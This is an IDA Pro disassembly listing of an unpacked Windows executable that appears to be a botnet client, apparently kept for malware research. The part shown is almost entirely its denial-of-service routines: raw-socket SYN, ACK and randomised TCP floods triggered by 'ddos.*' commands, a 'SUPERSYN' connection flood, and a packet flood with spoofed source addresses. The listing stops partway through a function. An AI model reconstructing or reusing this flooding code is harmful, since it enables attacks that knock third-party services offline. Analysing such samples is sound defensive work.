;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
; Input MD5 : EB983BC8EA998682EA0FEB9FB2D7097E
; File Name : u:\work\eb983bc8ea998682ea0feb9fb2d7097e_unpacked.exe
; Format : Portable executable for 80386 (PE)
; Imagebase : 400000
; Section 1. (virtual address 00001000)
; Virtual size : 00116000 (1138688.)
; Section size in file : 00116000 (1138688.)
; Offset to raw data for section: 00001000
; Flags C0000040: Data Readable Writable
; Alignment : default
unicode macro page,string,zero
irpc c,<string>
db '&c', page
endm
ifnb <zero>
dw zero
endif
endm
.686p
.mmx
.model flat
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write
___ segment para public 'DATA' use32
assume cs:___
;org 401000h
assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401000 proc near ; DATA XREF: sub_40F6F1+3B20o
var_494 = byte ptr -494h
var_294 = dword ptr -294h
var_290 = dword ptr -290h
var_28C = byte ptr -28Ch
var_20C = byte ptr -20Ch
var_18C = byte ptr -18Ch
var_10C = byte ptr -10Ch
var_8C = byte ptr -8Ch
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 494h
mov eax, [ebp+arg_0]
push esi
push edi
mov ecx, 0A5h
mov esi, eax
lea edi, [ebp+var_294]
rep movsd
mov dword ptr [eax+290h], 1
nop
call near ptr 7C80929Ch
push eax
call sub_4173FE
lea eax, [ebp+var_18C]
push eax
lea eax, [ebp+var_8C]
push eax
lea eax, [ebp+var_20C]
push eax
lea eax, [ebp+var_28C]
push eax
call sub_4013E9
push eax
lea eax, [ebp+var_494]
push offset unk_423030
push eax
call sub_4173AC
xor esi, esi
add esp, 20h
cmp [ebp+var_8], esi
jnz short loc_401090
push esi
lea eax, [ebp+var_494]
push [ebp+var_C]
push eax
lea eax, [ebp+var_10C]
push eax
push [ebp+var_294]
call sub_40DC10
add esp, 14h
loc_401090: ; CODE XREF: sub_401000+6Ej
lea eax, [ebp+var_494]
push eax
call sub_40C4F7
push [ebp+var_290]
call sub_417174
pop ecx
pop ecx
push esi
nop
call near ptr 7C80C058h
pop edi
pop esi
sub_401000 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4010B2 proc near ; CODE XREF: sub_4013E9+40p
var_284 = byte ptr -284h
var_F4 = byte ptr -0F4h
var_B4 = byte ptr -0B4h
var_B3 = byte ptr -0B3h
var_A0 = byte ptr -0A0h
var_94 = byte ptr -94h
var_8C = byte ptr -8Ch
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_70 = byte ptr -70h
var_6F = byte ptr -6Fh
var_6E = word ptr -6Eh
var_58 = word ptr -58h
var_56 = word ptr -56h
var_54 = dword ptr -54h
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = byte ptr -34h
var_32 = word ptr -32h
var_30 = word ptr -30h
var_2E = word ptr -2Eh
var_2C = byte ptr -2Ch
var_2B = byte ptr -2Bh
var_2A = word ptr -2Ah
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_7 = byte ptr -7
var_6 = word ptr -6
var_4 = word ptr -4
var_2 = word ptr -2
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 284h
push ebx
push edi
push 0Eh
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp+var_B3]
mov [ebp+var_B4], bl
rep stosd
stosw
stosb
lea eax, [ebp+var_284]
push eax
push 202h
call dword_441330 ; WSAStartup
test eax, eax
jz short loc_4010F2
xor eax, eax
jmp loc_4013E5
; ---------------------------------------------------------------------------
loc_4010F2: ; CODE XREF: sub_4010B2+37j
push 1
pop edi
push edi
push ebx
push ebx
push 0FFh
push 3
push 2
call dword_44145C ; WSASocketA
cmp eax, 0FFFFFFFFh
mov [ebp+var_20], eax
jz loc_4013DD
push esi
lea ecx, [ebp+var_40]
push 4
push ecx
push 2
push ebx
push eax
mov [ebp+var_40], edi
call dword_441398 ; setsockopt
cmp eax, 0FFFFFFFFh
jz loc_4013D3
push [ebp+arg_C]
mov [ebp+var_58], 2
call dword_4413B8 ; ntohs
mov esi, [ebp+arg_0]
push 28h
mov [ebp+var_56], ax
mov [ebp+var_54], esi
mov [ebp+var_34], 45h
call dword_4413B8 ; ntohs
push [ebp+arg_C]
mov [ebp+var_32], ax
mov [ebp+var_30], di
mov [ebp+var_2E], bx
mov [ebp+var_2C], 80h
mov [ebp+var_2B], 6
mov [ebp+var_2A], bx
mov [ebp+var_24], esi
call dword_4413B8 ; ntohs
mov [ebp+var_12], ax
call sub_417408
movzx eax, ax
cdq
mov ecx, 401h
idiv ecx
push edx
call dword_4413B8 ; ntohs
push 12345678h
mov [ebp+var_14], ax
call dword_4413B4 ; ntohl
push offset aDdos_syn ; "ddos.syn"
mov [ebp+var_10], eax
push [ebp+arg_8]
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jnz short loc_4011C2
mov [ebp+var_C], ebx
mov [ebp+var_7], 2
jmp short loc_401216
; ---------------------------------------------------------------------------
loc_4011C2: ; CODE XREF: sub_4010B2+105j
push offset aDdos_ack ; "ddos.ack"
push [ebp+arg_8]
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jnz short loc_4011DE
mov [ebp+var_C], ebx
mov [ebp+var_7], 10h
jmp short loc_401216
; ---------------------------------------------------------------------------
loc_4011DE: ; CODE XREF: sub_4010B2+121j
push offset aDdos_random ; "ddos.random"
push [ebp+arg_8]
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jnz short loc_401216
call sub_417408
push 3
cdq
pop ecx
idiv ecx
mov [ebp+var_C], edx
call sub_417408
push 2
cdq
pop ecx
idiv ecx
neg edx
sbb dl, dl
and dl, 0Eh
add dl, cl
mov [ebp+var_7], dl
loc_401216: ; CODE XREF: sub_4010B2+10Ej
; sub_4010B2+12Aj ...
push 4000h
mov [ebp+var_8], 50h
call dword_4413B8 ; ntohs
mov [ebp+var_6], ax
lea eax, [ebp+var_48]
push eax
mov [ebp+var_2], bx
mov [ebp+arg_8], ebx
nop
call near ptr 7C82FA46h
lea eax, [ebp+var_1C]
push eax
nop
call near ptr 7C80A427h
push [ebp+var_44]
mov eax, [ebp+arg_10]
cdq
push [ebp+var_48]
push edx
push eax
call sub_417860
add eax, [ebp+var_1C]
push 14h
pop esi
adc edx, [ebp+var_18]
mov [ebp+var_3C], eax
mov [ebp+var_38], edx
loc_401264: ; CODE XREF: sub_4010B2+2E2j
; sub_4010B2+2F0j
mov [ebp+var_4], bx
call sub_417408
cdq
mov ecx, 3E9h
idiv ecx
add edx, 3E8h
push edx
call dword_4413B8 ; ntohs
mov [ebp+var_14], ax
call sub_417408
mov edi, eax
shl edi, 10h
call sub_417408
or edi, eax
push edi
call dword_4413B8 ; ntohs
movzx eax, ax
mov [ebp+var_10], eax
mov eax, [ebp+arg_4]
inc [ebp+arg_4]
push eax
call dword_4413B4 ; ntohl
mov [ebp+var_28], eax
mov eax, [ebp+var_24]
push esi
mov [ebp+var_74], eax
mov [ebp+var_70], bl
mov [ebp+var_6F], 6
call dword_4413B8 ; ntohs
mov [ebp+var_6E], ax
mov eax, [ebp+var_28]
mov [ebp+var_78], eax
lea eax, [ebp+var_78]
push 20h
push eax
lea eax, [ebp+var_B4]
push eax
call sub_417490
lea eax, [ebp+var_14]
push esi
push eax
lea eax, [ebp+var_94]
push eax
call sub_417490
lea eax, [ebp+var_B4]
push 34h
push eax
call sub_40B004
mov [ebp+var_4], ax
lea eax, [ebp+var_34]
push esi
push eax
lea eax, [ebp+var_B4]
push eax
call sub_417490
lea eax, [ebp+var_14]
push esi
push eax
lea eax, [ebp+var_A0]
push eax
call sub_417490
push 4
lea eax, [ebp+var_8C]
push ebx
push eax
call sub_417430
add esp, 44h
lea eax, [ebp+var_B4]
push 28h
push eax
call sub_40B004
mov [ebp+var_2A], ax
lea eax, [ebp+var_34]
push esi
push eax
lea eax, [ebp+var_B4]
push eax
call sub_417490
add esp, 14h
lea eax, [ebp+var_58]
push 10h
push eax
push ebx
lea eax, [ebp+var_B4]
push 28h
push eax
push [ebp+var_20]
call dword_44141C ; sendto
cmp eax, 0FFFFFFFFh
jz short loc_4013A7
add [ebp+arg_8], eax
lea eax, [ebp+var_1C]
push eax
nop
call near ptr 7C80A427h
mov eax, [ebp+var_18]
cmp eax, [ebp+var_38]
jg short loc_4013D0
jl loc_401264
mov eax, [ebp+var_1C]
cmp eax, [ebp+var_3C]
jnb short loc_4013D0
jmp loc_401264
; ---------------------------------------------------------------------------
loc_4013A7: ; CODE XREF: sub_4010B2+2CBj
call dword_44134C ; WSAGetLastError
push eax
lea eax, [ebp+var_F4]
push offset unk_423068
push eax
call sub_4173AC
lea eax, [ebp+var_F4]
push eax
call sub_40C4F7
add esp, 10h
jmp short loc_4013D3
; ---------------------------------------------------------------------------
loc_4013D0: ; CODE XREF: sub_4010B2+2E0j
; sub_4010B2+2EEj
mov ebx, [ebp+arg_8]
loc_4013D3: ; CODE XREF: sub_4010B2+78j
; sub_4010B2+31Cj
push [ebp+var_20]
call dword_441450 ; closesocket
pop esi
loc_4013DD: ; CODE XREF: sub_4010B2+5Bj
call dword_441318 ; WSACleanup
mov eax, ebx
loc_4013E5: ; CODE XREF: sub_4010B2+3Bj
pop edi
pop ebx
leave
retn
sub_4010B2 endp
; =============== S U B R O U T I N E =======================================
sub_4013E9 proc near ; CODE XREF: sub_401000+4Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
push esi
push edi
push [esp+0Ch+arg_0]
call sub_40AE95
push [esp+10h+arg_4]
mov esi, eax
call sub_41791F
push [esp+14h+arg_C]
mov ebx, eax
call sub_41791F
mov edi, eax
call sub_417408
cdq
mov ecx, 200h
push edi
idiv ecx
push ebx
push [esp+20h+arg_8]
lea eax, [edx+esi+100h]
push eax
push esi
call sub_4010B2
add esp, 20h
test eax, eax
jnz short loc_401438
push 1
pop eax
loc_401438: ; CODE XREF: sub_4013E9+4Aj
cdq
mov ecx, 3E8h
idiv ecx
cdq
idiv edi
pop edi
pop esi
pop ebx
retn
sub_4013E9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401447 proc near ; DATA XREF: sub_40F6F1+3CFCo
var_3BC = byte ptr -3BCh
var_1BC = dword ptr -1BCh
var_1B8 = byte ptr -1B8h
var_138 = byte ptr -138h
var_B8 = byte ptr -0B8h
var_38 = dword ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 3BCh
push ebx
push esi
mov eax, [ebp+arg_0]
push edi
push 68h
mov esi, eax
pop ecx
lea edi, [ebp+var_1BC]
push 1
pop ebx
push 0FFh
push 3
rep movsd
push 2
mov [eax+19Ch], ebx
call dword_441438 ; socket
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jnz short loc_4014E2
call dword_44134C ; WSAGetLastError
push eax
lea eax, [ebp+var_3BC]
push offset unk_4231F4
loc_401495: ; DATA XREF: ___:off_425784o
; ___:off_4267D4o
push eax
call sub_4173AC
xor edi, edi
add esp, 0Ch
cmp [ebp+var_24], edi
jnz short loc_4014C5
push edi
lea eax, [ebp+var_3BC]
push [ebp+var_28]
push eax
lea eax, [ebp+var_B8]
push eax
push [ebp+var_1BC]
call sub_40DC10
add esp, 14h
loc_4014C5: ; CODE XREF: sub_401447+5Cj
lea eax, [ebp+var_3BC]
push eax
call sub_40C4F7
push [ebp+var_38]
call sub_417174
pop ecx
pop ecx
push edi
nop
call near ptr 7C80C058h
loc_4014E2: ; CODE XREF: sub_401447+3Aj
lea ecx, [ebp+var_C]
push 4
push ecx
xor edi, edi
push 2
push edi
push eax
mov [ebp+var_C], ebx
call dword_441398 ; setsockopt
cmp eax, 0FFFFFFFFh
jnz short loc_401559
call dword_44134C ; WSAGetLastError
push eax
lea eax, [ebp+var_3BC]
push offset unk_4231AC
push eax
call sub_4173AC
add esp, 0Ch
cmp [ebp+var_24], edi
jnz short loc_40153C
push edi
lea eax, [ebp+var_3BC]
push [ebp+var_28]
push eax
lea eax, [ebp+var_B8]
push eax
push [ebp+var_1BC]
call sub_40DC10
add esp, 14h
loc_40153C: ; CODE XREF: sub_401447+D3j
lea eax, [ebp+var_3BC]
push eax
call sub_40C4F7
push [ebp+var_38]
call sub_417174
pop ecx
pop ecx
push edi
nop
call near ptr 7C80C058h
loc_401559: ; CODE XREF: sub_401447+B3j
lea eax, [ebp+var_1B8]
push eax
call dword_4413F8 ; inet_addr
cmp eax, 0FFFFFFFFh
jnz short loc_4015C0
lea eax, [ebp+var_3BC]
push offset unk_42317C
push eax
call sub_4173AC
cmp [ebp+var_24], edi
pop ecx
pop ecx
jnz short loc_4015A3
push edi
lea eax, [ebp+var_3BC]
push [ebp+var_28]
push eax
lea eax, [ebp+var_B8]
push eax
push [ebp+var_1BC]
call sub_40DC10
add esp, 14h
loc_4015A3: ; CODE XREF: sub_401447+13Aj
lea eax, [ebp+var_3BC]
push eax
call sub_40C4F7
push [ebp+var_38]
call sub_417174
pop ecx
pop ecx
push edi
nop
call near ptr 7C80C058h
loc_4015C0: ; CODE XREF: sub_401447+122j
push 10h
lea eax, [ebp+var_1C]
push edi
push eax
call sub_417430
add esp, 0Ch
mov [ebp+var_1C], 2
push edi
call dword_4413B8 ; ntohs
mov [ebp+var_1A], ax
lea eax, [ebp+var_1B8]
push eax
call dword_4413F8 ; inet_addr
mov esi, dword_421064
mov [ebp+var_18], eax
mov [ebp+arg_0], edi
call esi ; GetTickCount
mov [ebp+var_8], eax
loc_4015FE: ; CODE XREF: sub_401447+2E8j
call esi ; GetTickCount
sub eax, [ebp+var_8]
xor edx, edx
mov ecx, 3E8h
div ecx
cmp eax, [ebp+var_30]
ja loc_4017A9
push 41Ch
mov byte_43C210, 45h
call dword_4413B8 ; ntohs
cmp [ebp+var_2C], edi
mov word_43C212, ax
mov word_43C214, bx
mov word_43C216, di
mov byte_43C218, 80h
mov byte_43C219, bl
mov word_43C21A, di
jz short loc_401684
call sub_417408
mov ebx, eax
shl ebx, 8
call sub_417408
add ebx, eax
shl ebx, 8
call sub_417408
add ebx, eax
shl ebx, 8
call sub_417408
add ebx, eax
push 1
mov dword_43C21C, ebx
pop ebx
jmp short loc_40169C
; ---------------------------------------------------------------------------
loc_401684: ; CODE XREF: sub_401447+20Bj
push [ebp+var_1BC]
call sub_40AFAB
pop ecx
push eax
call dword_4413F8 ; inet_addr
mov dword_43C21C, eax
loc_40169C: ; CODE XREF: sub_401447+23Bj
mov eax, [ebp+var_18]
mov dword_43C220, eax
call sub_417408
cdq
mov ecx, 100h
idiv ecx
mov byte_43C224, dl
call sub_417408
cdq
mov ecx, 100h
idiv ecx
mov byte_43C225, dl
call sub_417408
cdq
mov ecx, 0F0h
push 400h
idiv ecx
mov word_43C226, di
mov word_43C22A, bx
inc edx
mov word_43C228, dx
call sub_417408
cdq
mov ecx, 0FFh
idiv ecx
push edx
push offset dword_43C22C
call sub_417430
add esp, 0Ch
lea eax, [ebp+var_1C]
push 10h
push eax
push edi
push 41Ch
push offset byte_43C210
push [ebp+var_4]
call dword_44141C ; sendto
cmp eax, 0FFFFFFFFh
jz short loc_401734
inc [ebp+arg_0]
jmp loc_4015FE
; ---------------------------------------------------------------------------
loc_401734: ; CODE XREF: sub_401447+2E3j
push [ebp+var_4]
call dword_441450 ; closesocket
call dword_44134C ; WSAGetLastError
push eax
lea eax, [ebp+var_1B8]
push [ebp+arg_0]
push eax
push offset unk_42311C
lea eax, [ebp+var_3BC]
push 200h
push eax
call sub_41792A
add esp, 18h
cmp [ebp+var_24], edi
jnz short loc_40178C
push edi
lea eax, [ebp+var_3BC]
push [ebp+var_28]
push eax
lea eax, [ebp+var_B8]
push eax
push [ebp+var_1BC]
call sub_40DC10
add esp, 14h
loc_40178C: ; CODE XREF: sub_401447+323j
lea eax, [ebp+var_3BC]
push eax
call sub_40C4F7
push [ebp+var_38]
call sub_417174
pop ecx
pop ecx
push edi
nop
call near ptr 7C80C058h
loc_4017A9: ; CODE XREF: sub_401447+1C8j
push [ebp+var_4]
call dword_441450 ; closesocket
mov eax, [ebp+arg_0]
xor edx, edx
imul eax, 3Ch
mov ecx, eax
shr eax, 0Ah
div [ebp+var_30]
shr ecx, 14h
push ecx
push eax
lea eax, [ebp+var_1B8]
push [ebp+arg_0]
push eax
lea eax, [ebp+var_138]
push eax
lea eax, [ebp+var_3BC]
push offset unk_4230BC
push eax
call sub_4173AC
add esp, 1Ch
cmp [ebp+var_24], edi
jnz short loc_401811
push edi
lea eax, [ebp+var_3BC]
push [ebp+var_28]
push eax
lea eax, [ebp+var_B8]
push eax
push [ebp+var_1BC]
call sub_40DC10
add esp, 14h
loc_401811: ; CODE XREF: sub_401447+3A8j
lea eax, [ebp+var_3BC]
push eax
call sub_40C4F7
push [ebp+var_38]
call sub_417174
pop ecx
pop ecx
push edi
nop
call near ptr 7C80C058h
sub_401447 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40182E proc near ; DATA XREF: sub_40F6F1+15F0o
var_414 = byte ptr -414h
var_214 = dword ptr -214h
var_210 = byte ptr -210h
var_190 = byte ptr -190h
var_110 = byte ptr -110h
var_90 = byte ptr -90h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 414h
mov eax, [ebp+arg_0]
push esi
push edi
mov ecx, 85h
mov esi, eax
lea edi, [ebp+var_214]
rep movsd
mov dword ptr [eax+210h], 1
lea eax, [ebp+var_110]
push eax
lea eax, [ebp+var_190]
push eax
lea eax, [ebp+var_210]
push eax
call sub_40198C
push eax
lea eax, [ebp+var_414]
push offset aSupersynDoneWi ; "[SUPERSYN]: Done with flood (%iKB/sec)"
push eax
call sub_4173AC
xor esi, esi
add esp, 18h
cmp [ebp+var_8], esi
jnz short loc_4018AB
push esi
lea eax, [ebp+var_414]
push [ebp+var_C]
push eax
lea eax, [ebp+var_90]
push eax
push [ebp+var_214]
call sub_40DC10
add esp, 14h
loc_4018AB: ; CODE XREF: sub_40182E+5Bj
lea eax, [ebp+var_414]
push eax
call sub_40C4F7
push [ebp+var_10]
call sub_417174
pop ecx
pop ecx
push esi
nop
call near ptr 7C80C058h
pop edi
pop esi
sub_40182E endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4018CA proc near ; CODE XREF: sub_40198C+27p
var_654 = byte ptr -654h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 654h
push 10h
lea eax, [ebp+var_14]
push 0
push eax
call sub_417430
add esp, 0Ch
mov [ebp+var_14], 2
push [ebp+arg_4]
call dword_4413B8 ; ntohs
mov [ebp+var_12], ax
mov eax, [ebp+arg_0]
mov [ebp+var_10], eax
mov eax, [ebp+arg_8]
test eax, eax
mov [ebp+var_4], 1
jle short loc_401988
push ebx
push esi
push edi
mov [ebp+arg_4], eax
mov edi, 190h
loc_401915: ; CODE XREF: sub_4018CA+B9j
lea esi, [ebp+var_654]
mov ebx, edi
loc_40191D: ; CODE XREF: sub_4018CA+7Aj
push 0
push 1
push 2
nop
call near ptr 71AB3B91h
cmp eax, 0FFFFFFFFh
mov [esi], eax
jz short loc_401940
lea ecx, [ebp+var_4]
push ecx
push 8004667Eh
push eax
nop
call near ptr 71AB4519h
loc_401940: ; CODE XREF: sub_4018CA+64j
add esi, 4
dec ebx
jnz short loc_40191D
lea esi, [ebp+var_654]
mov ebx, edi
loc_40194E: ; CODE XREF: sub_4018CA+96j
lea eax, [ebp+var_14]
push 10h
push eax
push dword ptr [esi]
nop
call near ptr 71AB406Ah
add esi, 4
dec ebx
jnz short loc_40194E
push 64h
nop
call near ptr 7C802442h
lea esi, [ebp+var_654]
mov ebx, edi
loc_401972: ; CODE XREF: sub_4018CA+B4j
push dword ptr [esi]
nop
call near ptr 71AB9639h
add esi, 4
dec ebx
jnz short loc_401972
dec [ebp+arg_4]
jnz short loc_401915
pop edi
pop esi
pop ebx
loc_401988: ; CODE XREF: sub_4018CA+3Ej
xor eax, eax
leave
retn
sub_4018CA endp
; =============== S U B R O U T I N E =======================================
sub_40198C proc near ; CODE XREF: sub_40182E+3Cp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
push edi
push [esp+0Ch+arg_0]
call sub_40AE95
push [esp+10h+arg_4]
mov edi, eax
call sub_41791F
push [esp+14h+arg_8]
mov ebx, eax
call sub_41791F
mov esi, eax
push esi
push ebx
push edi
call sub_4018CA
add esp, 18h
test eax, eax
jnz short loc_4019C2
push 1
pop eax
loc_4019C2: ; CODE XREF: sub_40198C+31j
cdq
mov ecx, 3E8h
pop edi
idiv ecx
cdq
idiv esi
pop esi
pop ebx
retn
sub_40198C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4019D1 proc near ; DATA XREF: sub_40F6F1+3A27o
var_414 = byte ptr -414h
var_214 = dword ptr -214h
var_210 = byte ptr -210h
var_190 = byte ptr -190h
var_110 = byte ptr -110h
var_90 = byte ptr -90h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 414h
mov eax, [ebp+arg_0]
push esi
push edi
mov ecx, 85h
mov esi, eax
lea edi, [ebp+var_214]
rep movsd
mov dword ptr [eax+210h], 1
lea eax, [ebp+var_110]
push eax
lea eax, [ebp+var_190]
push eax
lea eax, [ebp+var_210]
push eax
call sub_401D1F
push eax
lea eax, [ebp+var_414]
push offset dword_423260
push eax
call sub_4173AC
xor esi, esi
add esp, 18h
cmp [ebp+var_8], esi
jnz short loc_401A4E
push esi
lea eax, [ebp+var_414]
push [ebp+var_C]
push eax
lea eax, [ebp+var_90]
push eax
push [ebp+var_214]
call sub_40DC10
add esp, 14h
loc_401A4E: ; CODE XREF: sub_4019D1+5Bj
lea eax, [ebp+var_414]
push eax
call sub_40C4F7
push [ebp+var_10]
call sub_417174
pop ecx
pop ecx
push esi
nop
call near ptr 7C80C058h
pop edi
pop esi
sub_4019D1 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401A6D proc near ; CODE XREF: sub_401D1F+3Cp
var_284 = byte ptr -284h
var_F4 = byte ptr -0F4h
var_B4 = byte ptr -0B4h
var_B3 = byte ptr -0B3h
var_A0 = byte ptr -0A0h
var_94 = byte ptr -94h
var_8C = byte ptr -8Ch
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_70 = byte ptr -70h
var_6F = byte ptr -6Fh
var_6E = word ptr -6Eh
var_58 = dword ptr -58h
var_50 = word ptr -50h
var_4E = word ptr -4Eh
var_4C = dword ptr -4Ch
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = word ptr -34h
var_32 = word ptr -32h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = byte ptr -28h
var_27 = byte ptr -27h
var_26 = word ptr -26h
var_24 = word ptr -24h
var_22 = word ptr -22h
var_20 = byte ptr -20h
var_1E = word ptr -1Eh
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = byte ptr -18h
var_17 = byte ptr -17h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 284h
push ebx
push edi
push 0Eh
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp+var_B3]
mov [ebp+var_B4], bl
rep stosd
stosw
stosb
lea eax, [ebp+var_284]
push eax
push 202h
call dword_441330 ; WSAStartup
test eax, eax
jz short loc_401AAD
xor eax, eax
jmp loc_401D1B
; ---------------------------------------------------------------------------
loc_401AAD: ; CODE XREF: sub_401A6D+37j
push 1
pop edi
push edi
push ebx
push ebx
push 0FFh
push 3
push 2
call dword_44145C ; WSASocketA
cmp eax, 0FFFFFFFFh
mov [ebp+var_C], eax
jz loc_401D13
push esi
lea ecx, [ebp+var_38]
push 4
push ecx
push 2
push ebx
push eax
mov [ebp+var_38], edi
call dword_441398 ; setsockopt
cmp eax, 0FFFFFFFFh
jz loc_401D09
push 10h
lea eax, [ebp+var_50]
push ebx
push eax
call sub_417430
add esp, 0Ch
mov [ebp+var_50], 2
push [ebp+arg_8]
call dword_4413B8 ; ntohs
mov esi, [ebp+arg_0]
push 28h
mov [ebp+var_4E], ax
mov [ebp+var_4C], esi
mov [ebp+var_20], 45h
call dword_4413B8 ; ntohs
push [ebp+arg_8]
mov [ebp+var_1E], ax
mov [ebp+var_1C], di
mov [ebp+var_1A], bx
mov [ebp+var_18], 80h
mov [ebp+var_17], 6
mov [ebp+var_16], bx
mov [ebp+var_10], esi
call dword_4413B8 ; ntohs
push 4000h
mov [ebp+var_32], ax
mov [ebp+var_2C], ebx
mov [ebp+var_28], 50h
mov [ebp+var_27], 2
call dword_4413B8 ; ntohs
mov [ebp+var_26], ax
lea eax, [ebp+var_40]
push eax
mov [ebp+var_22], bx
mov [ebp+arg_8], ebx
nop
call near ptr 7C82FA46h
lea eax, [ebp+var_8]
push eax
nop
call near ptr 7C80A427h
push [ebp+var_3C]
mov eax, [ebp+arg_C]
cdq
push [ebp+var_40]
push edx
push eax
call sub_417860
add eax, [ebp+var_8]
mov esi, edx
adc esi, [ebp+var_4]
mov [ebp+var_58], eax
loc_401B98: ; CODE XREF: sub_401A6D+25Dj
; sub_401A6D+26Bj
mov [ebp+var_24], bx
call sub_417408
cdq
mov ecx, 3E9h
idiv ecx
add edx, 3E8h
push edx
call dword_4413B8 ; ntohs
mov [ebp+var_34], ax
call sub_417408
mov edi, eax
shl edi, 10h
call sub_417408
or edi, eax
push edi
call dword_4413B8 ; ntohs
movzx eax, ax
mov [ebp+var_30], eax
mov eax, [ebp+arg_4]
inc [ebp+arg_4]
push eax
call dword_4413B4 ; ntohl
push 14h
mov [ebp+var_14], eax
mov eax, [ebp+var_10]
pop edi
push edi
mov [ebp+var_74], eax
mov [ebp+var_70], bl
mov [ebp+var_6F], 6
call dword_4413B8 ; ntohs
mov [ebp+var_6E], ax
mov eax, [ebp+var_14]
mov [ebp+var_78], eax
lea eax, [ebp+var_78]
push 20h
push eax
lea eax, [ebp+var_B4]
push eax
call sub_417490
lea eax, [ebp+var_34]
push edi
push eax
lea eax, [ebp+var_94]
push eax
call sub_417490
lea eax, [ebp+var_B4]
push 34h
push eax
call sub_40B004
mov [ebp+var_24], ax
lea eax, [ebp+var_20]
push edi
push eax
lea eax, [ebp+var_B4]
push eax
call sub_417490
lea eax, [ebp+var_34]
push edi
push eax
lea eax, [ebp+var_A0]
push eax
call sub_417490
push 4
lea eax, [ebp+var_8C]
push ebx
push eax
call sub_417430
add esp, 44h
lea eax, [ebp+var_B4]
push 28h
push eax
call sub_40B004
mov [ebp+var_16], ax
lea eax, [ebp+var_20]
push edi
push eax
lea eax, [ebp+var_B4]
push eax
call sub_417490
add esp, 14h
lea eax, [ebp+var_50]
push 10h
push eax
push ebx
lea eax, [ebp+var_B4]
push 28h
push eax
push [ebp+var_C]
call dword_44141C ; sendto
cmp eax, 0FFFFFFFFh
jz short loc_401CDD
add [ebp+arg_8], eax
lea eax, [ebp+var_8]
push eax
nop
call near ptr 7C80A427h
mov eax, [ebp+var_4]
cmp eax, esi
jg short loc_401D06
jl loc_401B98
mov eax, [ebp+var_8]
cmp eax, [ebp+var_58]
jnb short loc_401D06
jmp loc_401B98
; ---------------------------------------------------------------------------
loc_401CDD: ; CODE XREF: sub_401A6D+247j
call dword_44134C ; WSAGetLastError
push eax
lea eax, [ebp+var_F4]
push offset dword_423298
push eax
call sub_4173AC
lea eax, [ebp+var_F4]
push eax
call sub_40C4F7
add esp, 10h
jmp short loc_401D09
; ---------------------------------------------------------------------------
loc_401D06: ; CODE XREF: sub_401A6D+25Bj
; sub_401A6D+269j
mov ebx, [ebp+arg_8]
loc_401D09: ; CODE XREF: sub_401A6D+78j
; sub_401A6D+297j
push [ebp+var_C]
